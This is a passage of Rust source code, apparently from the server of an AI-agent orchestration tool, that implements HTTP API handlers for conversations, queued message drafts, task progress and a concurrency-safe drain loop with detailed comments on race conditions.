8041            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8042            .collect();
8043        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8044            .turns
8045            .iter()
8046            .map(|turn| {
8047                if turn.messages.is_empty() {
8048                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8049                } else {
8050                    turn.messages
8051                        .iter()
8052                        .map(|message| {
8053                            notice_markdown(
8054                                message.sender.unwrap_or(talk::Sender::Operator),
8055                                &message.body,
8056                                message.display.as_ref(),
8057                            )
8058                        })
8059                        .collect()
8060                }
8061            })
8062            .collect();
8063        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8064            .pending_messages
8065            .iter()
8066            .map(|message| {
8067                notice_markdown(
8068                    message.sender.unwrap_or(talk::Sender::Operator),
8069                    &message.body,
8070                    message.display.as_ref(),
8071                )
8072            })
8073            .collect();
8074        for nodes in &mut turn_bodies_md {
8075            references.markdown(nodes);
8076        }
8077        for nodes in turn_messages_md
8078            .iter_mut()
8079            .flatten()
8080            .chain(pending_messages_md.iter_mut())
8081            .flatten()
8082        {
8083            references.markdown(nodes);
8084        }
8085        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8086        let persona_name = persona::find(specs, &talk.persona)
8087            .filter(|p| !p.is_default())
8088            .map(|p| p.name);
8089        let mut avatar_persona = persona::find(specs, &talk.persona)
8090            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8091        // A removed configured persona may still have an override and old talks.
8092        if avatar_persona.id != talk.persona
8093            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8094        {
8095            avatar_persona.id.clone_from(&talk.persona);
8096            avatar_persona.icon = None;
8097        }
8098        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8099        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8100        Self {
8101            turn_bodies_md,
8102            turn_messages_md,
8103            pending_messages_md,
8104            thinking,
8105            context,
8106            operator_name,
8107            persona_name,
8108            persona_avatar,
8109            magi_avatar: magi_icon_url(home),
8110            operator_avatar: operator_icon_url(home),
8111            talk,
8112        }
8113    }
8114}
8115
8116/// Parse only the user-facing representation of an explicitly identified MAGI send.
8117fn notice_markdown(
8118    sender: talk::Sender,
8119    body: &str,
8120    display: Option<&crate::prompt::NoticeDisplay>,
8121) -> Option<Vec<md::Node>> {
8122    if sender != talk::Sender::Magi {
8123        return None;
8124    }
8125    let text = if let Some(display) = display {
8126        display.facts.as_str()
8127    } else {
8128        // Unknown completion templates may contain internal directives. Never
8129        // promote their agent input to the Markdown display surface.
8130        if crate::prompt::is_completion_notice(body)
8131            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8132        {
8133            return None;
8134        }
8135        body.strip_prefix("magi: ").unwrap_or(body)
8136    };
8137    Some(md::to_nodes(text, &md::ImageBase::None))
8138}
8139
8140/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8141/// conversation has filed, so the phone can follow one from inside the
8142/// conversation that asked for it rather than hunting the Queue for a task id
8143/// it may not remember.
8144#[derive(Debug, Serialize)]
8145struct TalkDetailView {
8146    #[serde(flatten)]
8147    view: TalkView,
8148    tasks: Vec<TaskView>,
8149    task_progress: TalkTaskProgress,
8150    /// The agents this talk's repository can switch to; empty when its
8151    /// configuration cannot be read, which must not fail the whole detail.
8152    roster: Vec<RosterEntry>,
8153    /// The personas the conversation can pick from. The built-ins are always
8154    /// listed, even when the repository's configuration cannot be read.
8155    personas: Vec<PersonaEntry>,
8156}
8157
8158/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8159#[derive(Debug, Serialize)]
8160struct TalkTaskProgress {
8161    state: &'static str,
8162    total: usize,
8163    done: usize,
8164    counts: std::collections::BTreeMap<&'static str, usize>,
8165    unfinished_ids: Vec<String>,
8166}
8167
8168fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8169    let mut counts = std::collections::BTreeMap::from([
8170        ("queued", 0),
8171        ("running", 0),
8172        ("done", 0),
8173        ("failed", 0),
8174        ("held", 0),
8175        ("blocked", 0),
8176        ("parked", 0),
8177    ]);
8178    let mut unfinished_ids = Vec::new();
8179    for task in tasks {
8180        *counts.entry(task.status.as_str()).or_default() += 1;
8181        if task.status != TaskStatus::Done {
8182            unfinished_ids.push(task.id.clone());
8183        }
8184    }
8185    TalkTaskProgress {
8186        state: if tasks.is_empty() {
8187            "none"
8188        } else if unfinished_ids.is_empty() {
8189            "complete"
8190        } else {
8191            "incomplete"
8192        },
8193        total: tasks.len(),
8194        done: tasks.len() - unfinished_ids.len(),
8195        counts,
8196        unfinished_ids,
8197    }
8198}
8199
8200/// One persona as the talk's persona selector shows it.
8201#[derive(Debug, Serialize)]
8202struct PersonaEntry {
8203    id: String,
8204    name: String,
8205    /// Avatar URL, see [`TalkView::persona_avatar`].
8206    avatar: String,
8207}
8208
8209/// One roster agent as the talk's agent selector shows it.
8210#[derive(Debug, Serialize)]
8211struct RosterEntry {
8212    id: String,
8213    kind: AgentKind,
8214    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8215    runnable: bool,
8216}
8217
8218/// `GET /api/talks`.
8219///
8220/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8221/// own order.
8222async fn talks_list(
8223    State(ui): State<Arc<Ui>>,
8224    Query(q): Query<ListQuery>,
8225) -> ApiResult<Json<Vec<TalkView>>> {
8226    blocking(move || {
8227        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8228        let talks = q.ids.as_ref().map_or_else(
8229            || ui.talks.list(),
8230            |ids| {
8231                ids.split(',')
8232                    .filter(|id| plain_record_id(id))
8233                    .filter_map(|id| ui.talks.get(id).ok())
8234                    .collect()
8235            },
8236        );
8237        let references = if talks.iter().any(id_links::has_references) {
8238            ui.references.get(
8239                &ui.runs,
8240                &ui.queue,
8241                &ui.questions,
8242                &ui.talks,
8243                talks.iter().any(id_links::has_findings),
8244            )
8245        } else {
8246            Arc::new(id_links::IdIndex::default())
8247        };
8248        Ok(Json(
8249            talks
8250                .into_iter()
8251                .filter(|talk| q.contains(&talk.id))
8252                .map(|talk| {
8253                    let thinking = ui.is_thinking(&talk.id);
8254                    let cfg = configs
8255                        .entry(talk.repo.clone())
8256                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8257                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8258                })
8259                .collect(),
8260        ))
8261    })
8262    .await
8263}
8264
8265/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8266/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8267/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8268/// end still opens a talk against an older binary.
8269#[derive(Debug, Default, Deserialize)]
8270#[serde(default)]
8271struct NewTalk {
8272    agent: Option<String>,
8273    repo: Option<PathBuf>,
8274    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8275    /// wrong type is dropped like a stale value instead of failing the request;
8276    /// each falls back to its default on its own (see [`talk::begin_with`]).
8277    preferred_agent: Option<serde_json::Value>,
8278    persona: Option<serde_json::Value>,
8279    implementers: Option<serde_json::Value>,
8280}
8281
8282/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8283/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8284async fn talk_post(
8285    State(ui): State<Arc<Ui>>,
8286    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8287) -> ApiResult<impl IntoResponse> {
8288    // An absent body, or an empty one, is the normal way to open a talk - see
8289    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8290    // rather than refused.
8291    let body = match body {
8292        Ok(Json(body)) => body,
8293        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8294        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8295    };
8296    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8297    let cfg = config_for(&repo).await?;
8298    let view = blocking(move || {
8299        let preferred = talk::Preferred {
8300            agent: body
8301                .preferred_agent
8302                .as_ref()
8303                .and_then(|v| v.as_str())
8304                .map(str::to_owned),
8305            persona: body
8306                .persona
8307                .as_ref()
8308                .and_then(|v| v.as_str())
8309                .map(str::to_owned),
8310            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8311        };
8312        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8313        let thinking = ui.is_thinking(&talk.id);
8314        Ok(TalkView::new(talk, thinking, &ui))
8315    })
8316    .await?;
8317    Ok((StatusCode::CREATED, Json(view)))
8318}
8319
8320/// Transcript first: unrelated queue history and repository probes are deferred.
8321async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8322    blocking(move || {
8323        let id = resolve_talk(&ui.talks, &id)?;
8324        let talk = ui.talks.get(&id)?;
8325        let thinking = ui.is_thinking(&id);
8326        Ok(Json(TalkView::with_config(
8327            talk,
8328            thinking,
8329            None,
8330            &ui.home,
8331            &ui.references,
8332        )))
8333    })
8334    .await
8335}
8336
8337async fn talk_sections(
8338    State(ui): State<Arc<Ui>>,
8339    Path(id): Path<String>,
8340) -> ApiResult<Json<serde_json::Value>> {
8341    blocking(move || {
8342        let id = resolve_talk(&ui.talks, &id)?;
8343        let talk = ui.talks.get(&id)?;
8344        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8345        let task_progress = talk_task_progress(&tasks);
8346        let tasks: Vec<_> = tasks
8347            .into_iter()
8348            .map(|task| {
8349                serde_json::json!({
8350                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8351                })
8352            })
8353            .collect();
8354        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8355        let roster: Vec<_> = cfg
8356            .as_ref()
8357            .map(|cfg| {
8358                cfg.agents
8359                    .iter()
8360                    .map(|a| RosterEntry {
8361                        id: a.id.clone(),
8362                        kind: a.kind,
8363                        runnable: agent::installed(a),
8364                    })
8365                    .collect()
8366            })
8367            .unwrap_or_default();
8368        let specs = cfg
8369            .as_ref()
8370            .map(|cfg| cfg.talk.personas.clone())
8371            .unwrap_or_default();
8372        let personas: Vec<_> = persona::catalog(&specs)
8373            .into_iter()
8374            .map(|p| PersonaEntry {
8375                avatar: avatar_url(&ui.home, &talk.id, &p),
8376                id: p.id,
8377                name: p.name,
8378            })
8379            .collect();
8380        let active_persona = persona::find(&specs, &talk.persona)
8381            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8382        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8383        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8384        Ok(Json(serde_json::json!({
8385            "tasks": tasks, "task_progress": task_progress,
8386            "roster": roster, "personas": personas,
8387            "context": talk::context_usage(&talk, cfg.as_ref()),
8388            "context_for": talk.updated_at,
8389            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8390            "persona_name": persona_name,
8391            "persona_avatar": persona_avatar,
8392        })))
8393    })
8394    .await
8395}
8396
8397/// `GET /api/talks/{id}`.
8398async fn talk_detail(
8399    State(ui): State<Arc<Ui>>,
8400    Path(id): Path<String>,
8401) -> ApiResult<Json<TalkDetailView>> {
8402    blocking(move || {
8403        let id = resolve_talk(&ui.talks, &id)?;
8404        let talk = ui.talks.get(&id)?;
8405        let thinking = ui.is_thinking(&talk.id);
8406        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8407        let task_progress = talk_task_progress(&tasks);
8408        let tasks = tasks.into_iter().map(TaskView::from).collect();
8409        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8410        let roster = cfg
8411            .as_ref()
8412            .map(|cfg| {
8413                cfg.agents
8414                    .iter()
8415                    .map(|a| RosterEntry {
8416                        id: a.id.clone(),
8417                        kind: a.kind,
8418                        runnable: agent::installed(a),
8419                    })
8420                    .collect()
8421            })
8422            .unwrap_or_default();
8423        let specs = cfg
8424            .as_ref()
8425            .map(|cfg| cfg.talk.personas.clone())
8426            .unwrap_or_default();
8427        let personas = persona::catalog(&specs)
8428            .into_iter()
8429            .map(|p| PersonaEntry {
8430                avatar: avatar_url(&ui.home, &talk.id, &p),
8431                id: p.id,
8432                name: p.name,
8433            })
8434            .collect();
8435        Ok(Json(TalkDetailView {
8436            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8437            tasks,
8438            task_progress,
8439            roster,
8440            personas,
8441        }))
8442    })
8443    .await
8444}
8445
8446/// The body of `POST /api/talks/{id}/say`.
8447///
8448/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8449/// returned - never bytes of its own - so a turn with no images just omits
8450/// the field, which is what an older front end still does.
8451#[derive(Debug, Default, Deserialize)]
8452#[serde(default, deny_unknown_fields)]
8453struct NewTalkTurn {
8454    reply_to: Option<talk::ReplyTarget>,
8455    text: String,
8456    attachments: Vec<String>,
8457}
8458
8459#[derive(Debug, Deserialize)]
8460#[serde(deny_unknown_fields)]
8461struct EditTalkPending {
8462    #[serde(default)]
8463    message: Option<usize>,
8464    text: String,
8465    expected_text: String,
8466    expected_attachments: Vec<String>,
8467}
8468
8469#[derive(Debug, Deserialize)]
8470#[serde(deny_unknown_fields)]
8471struct ClearTalkPending {
8472    expected_text: String,
8473    expected_attachments: Vec<String>,
8474}
8475
8476/// `POST /api/talks/{id}/say` - one turn of the conversation.
8477///
8478/// Not filesystem work, and therefore not routed through [`blocking`]: this
8479/// route spawns an agent CLI and a turn here can run for the whole of
8480/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8481/// research turn is expected to run commands rather than answer from what it
8482/// already knows. Holding an HTTP connection open that long is not a thing
8483/// to ask a phone to do; the operator's message is recorded and answered for
8484/// immediately, and the reply lands in the background, discovered through
8485/// the change stream's `talks_rev` the same way every other update on this
8486/// surface is.
8487async fn talk_say(
8488    State(ui): State<Arc<Ui>>,
8489    Path(id): Path<String>,
8490    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8491) -> ApiResult<(StatusCode, Json<TalkView>)> {
8492    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8493    if body.text.trim().is_empty() && body.attachments.is_empty() {
8494        return Err(ApiError::bad_request("say something"));
8495    }
8496
8497    let id = {
8498        let ui = Arc::clone(&ui);
8499        let asked = id.clone();
8500        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8501    };
8502    // A closed Talk never accepts a new immediate or queued turn. Check this
8503    // before claiming a slot so its ordinary domain refusal is a 409, not an
8504    // incidental failure from the later record/queue write.
8505    {
8506        let ui = Arc::clone(&ui);
8507        let id = id.clone();
8508        blocking(move || {
8509            let talk = ui.talks.get(&id)?;
8510            if !talk.status.open() {
8511                return Err(ApiError::conflict(format!(
8512                    "talk {} is {} and takes no more turns",
8513                    talk.short(),
8514                    talk.status.as_str()
8515                )));
8516            }
8517            Ok(())
8518        })
8519        .await?;
8520    }
8521
8522    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8523    // actually stores, before anything is written - an unknown id is a 4xx
8524    // that names it rather than a turn (or a queued draft) silently missing
8525    // an image.
8526    let attachments = {
8527        let ui = Arc::clone(&ui);
8528        let id = id.clone();
8529        let ids = body.attachments.clone();
8530        blocking(move || {
8531            ids.into_iter()
8532                .map(|att_id| {
8533                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8534                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8535                    })
8536                })
8537                .collect::<ApiResult<Vec<talk::Attachment>>>()
8538        })
8539        .await?
8540    };
8541
8542    // Pending recovery and a new immediate turn are decided under the same
8543    // claim lock. Without that one critical section, a second `/say` can see
8544    // the first request's claim as "busy" and append itself to the recovered
8545    // draft before the first request rejects it.
8546    let start = {
8547        let ui = Arc::clone(&ui);
8548        let id = id.clone();
8549        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8550    };
8551    let turn_guard = match start {
8552        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8553        TalkTurnStart::Pending => {
8554            return Err(ApiError::conflict(
8555                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8556            ));
8557        }
8558        TalkTurnStart::Foreign => {
8559            return Err(ApiError::conflict(
8560                "a turn is already running in another process; try again when it has finished",
8561            ));
8562        }
8563        TalkTurnStart::Busy => {
8564            // A turn is already running: queue rather than refuse. See
8565            // `Ui::begin_talk_turn` and `talk::queue`.
8566            //
8567            // The queue write and the drain it may owe live inside the task
8568            // `tokio::spawn` hands to the runtime, for the same reason the
8569            // immediate path below puts `record` there: a dropped handler
8570            // future must not be able to land between a durable write and
8571            // the task that answers it. `blocking` runs its closure on
8572            // `spawn_blocking`, which finishes whether or not anyone is left
8573            // to receive its result - so a disconnect at the `.await` below
8574            // would otherwise leave the draft persisted and the reclaimed
8575            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8576            // ever started and the queued text stranded until some later
8577            // `say` happened to pick it up. The caller's 202 travels back
8578            // over a `oneshot`, sent the moment the write lands.
8579            let (tx, rx) = tokio::sync::oneshot::channel();
8580            tokio::spawn({
8581                let ui = Arc::clone(&ui);
8582                let id = id.clone();
8583                let said = body.text.clone();
8584                let reply_to = body.reply_to.clone();
8585                async move {
8586                    let written = blocking({
8587                        let ui = Arc::clone(&ui);
8588                        let id = id.clone();
8589                        move || {
8590                            let mut talk = ui.talks.get(&id)?;
8591                            // A test-only stop point, right before the write
8592                            // an interleaving test needs to pin - see
8593                            // `BusyQueueGate`. `None` in every real server:
8594                            // the field only exists under `#[cfg(test)]`.
8595                            #[cfg(test)]
8596                            if let Some(gate) = ui
8597                                .busy_queue_gate
8598                                .lock()
8599                                .unwrap_or_else(PoisonError::into_inner)
8600                                .take()
8601                            {
8602                                let _ = gate.reached.send(());
8603                                let _ = gate.release.recv();
8604                            }
8605                            if let Err(error) = talk::queue_reply(
8606                                &mut talk,
8607                                &ui.talks,
8608                                &said,
8609                                attachments,
8610                                reply_to,
8611                            ) {
8612                                if let Ok(fresh) = ui.talks.get(&id) {
8613                                    if !fresh.status.open() {
8614                                        return Err(ApiError::conflict(format!(
8615                                            "talk {} is {} and takes no more turns",
8616                                            fresh.short(),
8617                                            fresh.status.as_str()
8618                                        )));
8619                                    }
8620                                }
8621                                return Err(
8622                                    if error.to_string().contains("invalid reply target") {
8623                                        ApiError::bad_request("invalid reply target")
8624                                    } else {
8625                                        ApiError::from(error)
8626                                    },
8627                                );
8628                            }
8629                            // The turn that looked busy a moment ago can have
8630                            // finished, found nothing to drain and given up the
8631                            // slot in the gap between that check and this write
8632                            // landing - see `drain_loop`'s own doc for the other
8633                            // half of why that gap would otherwise be able to
8634                            // open at all. Reclaiming the slot here, rather than
8635                            // trusting that whoever held it is still watching, is
8636                            // what stops the text just queued from being stranded
8637                            // until an unrelated future `say` happens to drain
8638                            // it.
8639                            let claim = match ui.begin_queued_talk_turn(&id)? {
8640                                Some(turn_guard) => {
8641                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8642                                    Some((talk.clone(), cfg, turn_guard))
8643                                }
8644                                None => None,
8645                            };
8646                            let thinking = ui.is_thinking(&id);
8647                            Ok((TalkView::new(talk, thinking, &ui), claim))
8648                        }
8649                    })
8650                    .await;
8651                    let (view, reclaimed) = match written {
8652                        Ok(pair) => pair,
8653                        Err(e) => {
8654                            // Nobody is listening if the handler's own future
8655                            // was already dropped - that is fine, nothing was
8656                            // persisted and there is no response left to carry
8657                            // this error to.
8658                            let _ = tx.send(Err(e));
8659                            return;
8660                        }
8661                    };
8662                    // If this fails, the caller is gone; the drain below still
8663                    // runs exactly as it would have for a caller that stayed.
8664                    let _ = tx.send(Ok(view));
8665                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8666                        let talks = ui.talks.clone();
8667                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8668                    }
8669                }
8670            });
8671            let view = rx
8672                .await
8673                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8674            return Ok((StatusCode::ACCEPTED, Json(view)));
8675        }
8676    };
8677
8678    let (talk, cfg) = {
8679        let ui = Arc::clone(&ui);
8680        let id = id.clone();
8681        blocking(move || {
8682            let talk = ui.talks.get(&id)?;
8683            let (cfg, _) = Config::discover(&talk.repo, None)?;
8684            Ok((talk, cfg))
8685        })
8686        .await?
8687    };
8688
8689    let talks = ui.talks.clone();
8690    // `record` runs *inside* the spawned task, rather than in this handler
8691    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8692    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8693    // doc), and that drop can land at any `.await` this function makes,
8694    // including one that has already produced its result but not yet
8695    // resumed. A message could end up recorded on disk with the handler
8696    // future gone before it ever reached the `tokio::spawn` that would have
8697    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8698    // that hands the whole future to the runtime as one unit - once made, no
8699    // later drop of *this* handler's own future (that call's return value is
8700    // never held onto here) can reach back in and stop it, so record and the
8701    // hand-off to `respond` are unconditionally atomic from the client's
8702    // point of view. The immediate response this handler owes the caller
8703    // travels back over a `oneshot`, sent the moment `record` succeeds.
8704    let (tx, rx) = tokio::sync::oneshot::channel();
8705    tokio::spawn({
8706        let ui = Arc::clone(&ui);
8707        let talks = talks.clone();
8708        let id = id.clone();
8709        let said = body.text.clone();
8710        let reply_to = body.reply_to.clone();
8711        let mut talk = talk.clone();
8712        async move {
8713            let recorded = blocking({
8714                let talks = talks.clone();
8715                move || {
8716                    if let Err(error) =
8717                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8718                    {
8719                        if let Ok(fresh) = talks.get(&talk.id) {
8720                            if !fresh.status.open() {
8721                                return Err(ApiError::conflict(format!(
8722                                    "talk {} is {} and takes no more turns",
8723                                    fresh.short(),
8724                                    fresh.status.as_str()
8725                                )));
8726                            }
8727                        }
8728                        return Err(if error.to_string().contains("invalid reply target") {
8729                            ApiError::bad_request("invalid reply target")
8730                        } else {
8731                            ApiError::from(error)
8732                        });
8733                    }
8734                    // `record` mutates `talk` in place to the freshly persisted
8735                    // state (status, pending, and the just-appended operator
8736                    // turn), so returning it here is equivalent to re-reading it
8737                    // from disk - without the extra round trip a re-read would
8738                    // need.
8739                    Ok((said.trim().to_owned(), talk))
8740                }
8741            })
8742            .await;
8743            let (text, mut talk) = match recorded {
8744                Ok(pair) => pair,
8745                Err(e) => {
8746                    // Nobody is listening if the handler's own future was
8747                    // already dropped - that is fine, there is no response
8748                    // left to carry this error to and nothing was persisted.
8749                    let _ = tx.send(Err(e));
8750                    return;
8751                }
8752            };
8753            let queued = talk.clone();
8754            let thinking = ui.is_thinking(&id);
8755            // If this fails, the caller is gone; the turn still runs below
8756            // exactly as it would have for a caller that stayed connected.
8757            let _ = tx.send(Ok((queued, thinking)));
8758
8759            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8760                // `respond` records the failure in the transcript itself,
8761                // which is what the phone reads; this line is for the
8762                // operator's terminal.
8763                tracing::warn!("talk {id} turn failed: {e:#}");
8764            }
8765            // Anything `talk::queue` added while the turn above was running
8766            // is still owed an answer - see `drain_loop`.
8767            drain_loop(talk, talks, cfg, id, turn_guard).await;
8768        }
8769    });
8770
8771    let (queued, thinking) = rx
8772        .await
8773        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8774
8775    // 202: the operator's message is recorded and a turn is running.
8776    Ok((
8777        StatusCode::ACCEPTED,
8778        Json(TalkView::new(queued, thinking, &ui)),
8779    ))
8780}
8781
8782/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
8783/// changing it. The turn guard is the same per-talk ownership `talk_say`
8784/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
8785async fn talk_pending_resume(
8786    State(ui): State<Arc<Ui>>,
8787    Path(id): Path<String>,
8788) -> ApiResult<(StatusCode, Json<TalkView>)> {
8789    let id = {
8790        let ui = Arc::clone(&ui);
8791        let asked = id.clone();
8792        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8793    };
8794    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8795        return Err(ApiError::conflict(
8796            "a talk turn is already running; the queued draft will be handled by it",
8797        ));
8798    };
8799    let (talk, cfg) = {
8800        let ui = Arc::clone(&ui);
8801        let id = id.clone();
8802        blocking(move || {
8803            let talk = ui.talks.get(&id)?;
8804            if !talk.status.open() {
8805                return Err(ApiError::conflict(format!(
8806                    "talk {} is {} and takes no more turns",
8807                    talk.short(),
8808                    talk.status.as_str()
8809                )));
8810            }
8811            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8812                return Err(ApiError::conflict("there is no queued draft to resume"));
8813            }
8814            let (cfg, _) = Config::discover(&talk.repo, None)?;
8815            Ok((talk, cfg))
8816        })
8817        .await?
8818    };
8819    let view = TalkView::new(talk.clone(), true, &ui);
8820    let talks = ui.talks.clone();
8821    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8822    Ok((StatusCode::ACCEPTED, Json(view)))
8823}
8824
8825/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
8826/// releasing `turn` only once a check finds it truly empty. Shared by both
8827/// callers that can end up owning a talk's turn slot with something already
8828/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
8829/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
8830/// holder just gave up - see the comment at that call site.
8831///
8832/// The release is folded into the final generation check under `turn`'s own
8833/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
8834/// free". Before its blocking `talk::drain`, this loop observes the queued
8835/// generation. A `say` that sees the turn busy writes its draft, then advances
8836/// that generation. Thus, if it lands while the drain is in flight, the final
8837/// check observes the advance and drains again; otherwise it releases the
8838/// claim while holding the same lock. This keeps the release/arrival handoff
8839/// atomic without holding the global claim mutex across filesystem I/O.
8840async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8841    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8842}
8843
8844/// A settings response must not report idle while its claim is still held.
8845/// Wait until the first drain either releases the claim or promotes a draft.
8846/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8847async fn settle_settings_turn(
8848    talk: Talk,
8849    talks: Talks,
8850    cfg: Config,
8851    id: String,
8852    turn: TalkTurnGuard,
8853    observed: u64,
8854) -> bool {
8855    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8856        let turns = Arc::clone(&turn.turns);
8857        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8858        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8859            // Release under the arrival lock; a later `/say` takes its own claim.
8860            turn.release(&mut live);
8861            return false;
8862        }
8863    }
8864    let (started, settled) = tokio::sync::oneshot::channel();
8865    tokio::spawn(drain_loop_started(
8866        talk,
8867        talks,
8868        cfg,
8869        id,
8870        turn,
8871        Some(started),
8872    ));
8873    settled.await.unwrap_or(false)
8874}
8875
8876async fn drain_loop_started(
8877    mut talk: Talk,
8878    talks: Talks,
8879    cfg: Config,
8880    id: String,
8881    turn: TalkTurnGuard,
8882    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8883) {
8884    let live_set = Arc::clone(&turn.turns);
8885    // `Option` rather than binding `turn` directly to a `_turn` that lives
8886    // for the whole function: releasing it has to happen by calling
8887    // `TalkTurnGuard::release` from inside the locked branch below, which
8888    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8889    // remove the id - correctly, if this loop is ever left some other way -
8890    // but doing it there misses the lock this loop is already holding, which
8891    // is the exact gap `release` exists to close.
8892    let mut turn = Some(turn);
8893    loop {
8894        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8895            // The lease was taken over while a turn ran. Whatever is queued
8896            // stays a draft; running it here would race the new owner.
8897            tracing::warn!("talk {id} lost its turn lease; not draining further");
8898            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8899            if let Some(turn) = turn.take() {
8900                turn.release(&mut live);
8901            }
8902            break;
8903        }
8904        {
8905            // A parking upgrade starts no further turn: whatever is queued
8906            // stays a durable draft for the successor.
8907            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8908            if live.parking {
8909                if let Some(turn) = turn.take() {
8910                    turn.release(&mut live);
8911                }
8912                break;
8913            }
8914        }
8915        // `talk::drain` takes the store lock and can write/rename the talk
8916        // file. Keep the turn mutex out of that synchronous work: it protects
8917        // every talk's in-memory claim, not this talk's disk operation.
8918        let observed = live_set
8919            .lock()
8920            .unwrap_or_else(PoisonError::into_inner)
8921            .queued
8922            .get(&id)
8923            .copied()
8924            .unwrap_or(0);
8925        let drained = blocking({
8926            let talks = talks.clone();
8927            let live_set = Arc::clone(&live_set);
8928            move || {
8929                // Promoting a draft is what starts a turn, so it is decided
8930                // under the same lock a parking upgrade takes: either the
8931                // promotion lands first (and its turn is waited for) or the
8932                // draft stays queued.
8933                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8934                let result = if live.parking {
8935                    Ok(None)
8936                } else {
8937                    talk::drain(&mut talk, &talks)
8938                };
8939                drop(live);
8940                Ok((talk, result))
8941            }
8942        })
8943        .await;
8944        let (next_talk, result) = match drained {
8945            Ok(drained) => drained,
8946            Err(e) => {
8947                tracing::warn!(
8948                    status = %e.status,
8949                    message = %e.message,
8950                    "talk {id} could not start queued-text drain"
8951                );
8952                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8953                turn.take()
8954                    .expect("held for the whole loop until released here")
8955                    .release(&mut live);
8956                break;
8957            }
8958        };
8959        talk = next_talk;
8960        let drained = match result {
8961            Ok(Some(drained)) => drained,
